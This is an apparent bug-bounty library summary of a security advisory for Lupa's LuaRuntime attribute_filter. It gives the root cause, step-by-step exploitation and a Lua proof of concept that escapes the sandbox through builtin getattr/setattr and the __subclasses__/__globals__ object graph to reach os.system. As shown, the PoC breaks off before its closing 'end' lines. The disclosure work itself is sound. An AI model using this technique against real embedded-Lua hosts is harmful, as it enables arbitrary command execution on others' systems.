# Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr

Lupa's attribute_filter only guards direct attribute access, so Lua code using python.builtins getattr walks __class__/__mro__/__subclasses__ to reach os.system and run commands.

- Payout: Research
- Severity: high
- Program: Lupa
- Found by: redyank
- Disclosed: 2026-04-07
- CVE: CVE-2026-34444
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-69v7-xpr6-6gjm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-69v7-xpr6-6gjm
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:rce vuln:sandbox-escape

**Target:** Lupa LuaRuntime attribute_filter sandbox for embedded Lua
**Root cause:** attribute_filter is enforced only on direct attribute access (obj.attr) and not on builtin getattr/setattr, so the protection mechanism is inconsistent and bypassable.
**Steps:**
1. Configure LuaRuntime with an attribute_filter that raises on names starting with '_'.
2. Expose a Python object to Lua via `lua.globals().user = UserProfile("test")`.
3. In Lua grab `python.builtins` and its `getattr`/`setattr`.
4. Call `getattr(user, "__class__")` then `getattr(cls, "__mro__")` to get the object base class.
5. Invoke `getattr(obj_cls, "__subclasses__")()` and iterate results for `os._wrap_close`.
6. Extract `getattr(getattr(c, "__init__"), "__globals__")["system"]`, `setattr(user, "run", system)`, then `user.run("id")`.
**How found:** Noticed the filter applied to direct attribute access but not to builtin getattr/setattr, then tested whether getattr could reach dunder attributes and walk the MRO to a class exposing __globals__.
**Exploitation:** Attacker with Lua execution and access to python.builtins uses unfiltered getattr to traverse the Python object graph from any exposed object to os.system, then invokes it via setattr on the exposed object, executing arbitrary commands in the host Python process.
**Escalation:** Object-graph traversal (__class__ → __mro__ → __subclasses__ → __globals__) escalates a filtered attribute read into full host RCE.
**Insight:** When a sandbox filters attribute names, check every alternate access path — builtin getattr/setattr, operator module, format strings, pickling — since dunder guards on dot-access alone are trivially bypassed via the object graph to __subclasses__ and __globals__.

## Proof of concept (copied exactly from the original report)

**Lua PoC bypassing attribute_filter via getattr to RCE**

```
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")

local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
```

